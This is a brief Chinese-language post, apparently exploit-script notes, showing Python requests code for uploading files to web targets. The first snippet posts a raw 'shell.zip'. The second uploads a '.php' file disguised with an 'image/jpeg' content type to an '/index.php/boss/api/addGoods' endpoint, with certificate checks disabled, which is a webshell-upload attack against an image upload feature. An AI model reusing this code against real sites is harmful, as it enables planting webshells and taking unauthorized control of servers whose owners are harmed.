Python代码上传文件
Part 1
有些时候,比如之前上传zip的脚本,可以直接用requests库进行上传
代码如下
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
with open("shell.zip", "rb") as s: data1 = s.read() s.close() resp2 = session.post(address2, data=data1, headers=header) if resp2.status_code == 200 and str(resp2.json()['status']) == "ok": time.sleep(0.3) exit("[+] 文件上传成功!") else: exit("[-] 文件上传失败!")
|
可以看的出来,这种上传方式是类似php
中php://input
接受的数据类型
multipart/form-data
格式的此种方式是不行的
Part 2
multipart/form-data
格式上传
需要用到requests-toolbelt
库的MultipartEncoder
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from requests_toolbelt import MultipartEncoder
def upload_file(u, file, name): address = u + "/index.php/boss/api/addGoods" m = MultipartEncoder(fields={'filename': '%s.php' % name, 'imgs[]': ('%s.php' % name, file, 'image/jpeg'), 'name': 'test', 'repertory': '10', 'price': '100', 'class': '1' }) headers = { "Content-Type": m.content_type } urllib3.disable_warnings() rsp = requests.post(address, headers=headers, data=m, verify=False) if rsp.status_code == 200 and "图片上传失败" not in str(rsp.text): check_auth(u, 1, name) return True else: print("[-] 文件上传失败!") return False
|